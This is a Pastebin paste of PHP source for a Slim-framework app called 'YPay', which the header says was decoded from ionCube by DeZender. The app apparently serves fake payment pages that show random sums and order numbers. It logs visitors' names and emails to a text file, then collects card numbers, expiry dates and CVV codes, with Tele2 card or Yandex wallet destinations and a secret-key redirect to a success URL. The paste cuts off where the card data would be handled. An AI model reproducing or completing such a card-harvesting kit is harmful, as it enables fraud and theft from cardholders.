Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- *
- * @ This file is created by http://DeZender.Net
- * @ deZender (PHP7 Decoder for ionCube Encoder)
- *
- * @ Version : 4.0.8.4
- * @ Author : DeZender
- * @ Release on : 19.03.2019
- * @ Official site : http://DeZender.Net
- *
- */
- require '../vendor/autoload.php';
- ini_set('xdebug.var_display_max_children', -1);
- ini_set('xdebug.var_display_max_data', -1);
- ini_set('xdebug.var_display_max_depth', -1);
- $ypay = new \YPay\YPay();
- $config = new \YPay\Config();
- $tools = new \YPay\Tools();
- $tools->checkLicense();
- $checkProxyHeaders = true;
- $trustedProxies = [];
- $configuration = [
- 'settings' => ['displayErrorDetails' => $config->debug]
- ];
- $c = new \Slim\Container($configuration);
- $app = new \Slim\App($c);
- $app->add(new \RKA\Middleware\IpAddress($checkProxyHeaders, $trustedProxies));
- $container = $app->getContainer();
- $container['view'] = function($container) {
- $view = new \Slim\Views\Twig(__DIR__ . '/../templates', []);
- $router = $container->get('router');
- $uri = \Slim\Http\Uri::createFromEnvironment(new \Slim\Http\Environment($_SERVER));
- $view->addExtension(new \Slim\Views\TwigExtension($router, $uri));
- return $view;
- };
- $app->get('/start/{id}', function($request, $response, $args) use($ypay, $config) {
- $payment = $ypay->getPayment($args['id']);
- if (!$payment) {
- return $response->withStatus(404)->withHeader('Content-Type', 'text/html')->write('payment not found');
- }
- switch ($config->mode) {
- case 'tele2cards':
- $wallet = $ypay->getPayDestination('tele2cards');
- if (!$wallet) {
- return $response->withStatus(404)->withHeader('Content-Type', 'text/html')->write('no active tele2cards!');
- }
- break;
- case 'yandex':
- $wallet = $ypay->getPayDestination('yandex_wallets');
- if (!$wallet) {
- return $response->withStatus(404)->withHeader('Content-Type', 'text/html')->write('no active yandex wallets!');
- }
- break;
- break;
- }
- return $this->view->render($response, 'theme1.html', ['payment' => $payment, 'id' => $args['id'], 'randsum' => mt_rand(100000, 200000), 'randorder' => mt_rand(100000000, 200000000)]);
- });
- $app->post('/start/{id}', function($request, $response, $args) use($ypay, $config) {
- $payment = $ypay->getPayment($args['id']);
- if (!$payment) {
- return $response->withStatus(404)->withHeader('Content-Type', 'text/html')->write('payment not found');
- }
- $data = $request->getParsedBody();
- $name = $data['name'];
- $email = $data['email'];
- file_put_contents(__DIR__ . '/../logs/emails.txt', $name . ';' . $email . PHP_EOL, FILE_APPEND | LOCK_EX);
- return $response->withRedirect('/card-input/' . $args['id'], 301);
- });
- $app->get('/card-input/{id}', function($request, $response, $args) use($ypay, $config) {
- $payment = $ypay->getPayment($args['id']);
- if (!$payment) {
- return $response->withStatus(404)->withHeader('Content-Type', 'text/html')->write('payment not found');
- }
- $key = $request->getQueryParam('key');
- if ($key == $config->secretKey) {
- return $response->withRedirect($payment['success_url'], 301);
- }
- switch ($config->mode) {
- case 'tele2cards':
- $wallet = $ypay->getPayDestination('tele2cards');
- if (!$wallet) {
- return $response->withStatus(404)->withHeader('Content-Type', 'text/html')->write('no active tele2cards!');
- }
- break;
- case 'yandex':
- $wallet = $ypay->getPayDestination('yandex_wallets');
- if (!$wallet) {
- return $response->withStatus(404)->withHeader('Content-Type', 'text/html')->write('no active yandex wallets!');
- }
- break;
- break;
- }
- return $this->view->render($response, 'cards/' . $config->card_template, ['payment' => $payment, 'id' => $args['id'], 'randsum' => mt_rand(100000, 200000), 'randorder' => mt_rand(100000000, 200000000)]);
- });
- $app->post('/card-input/{id}', function($request, $response, $args) use($ypay, $config, $tools) {
- $clientIP = $request->getAttribute('ip_address');
- $uri = $request->getUri();
- $baseUrl = $uri->getBaseUrl();
- $payment = $ypay->getPayment($args['id']);
- if (!$payment) {
- return $response->withStatus(404)->withHeader('Content-Type', 'text/html')->write('payment not found');
- }
- $data = $request->getParsedBody();
- $card = preg_replace('/\\s+/', '', $data['card']);
- $month = $data['month'];
- $year = $data['year'];
- $cvv = $data['cvv'];
- ............................................................
- .................................
- ...........
Add Comment
Please, Sign In to add comment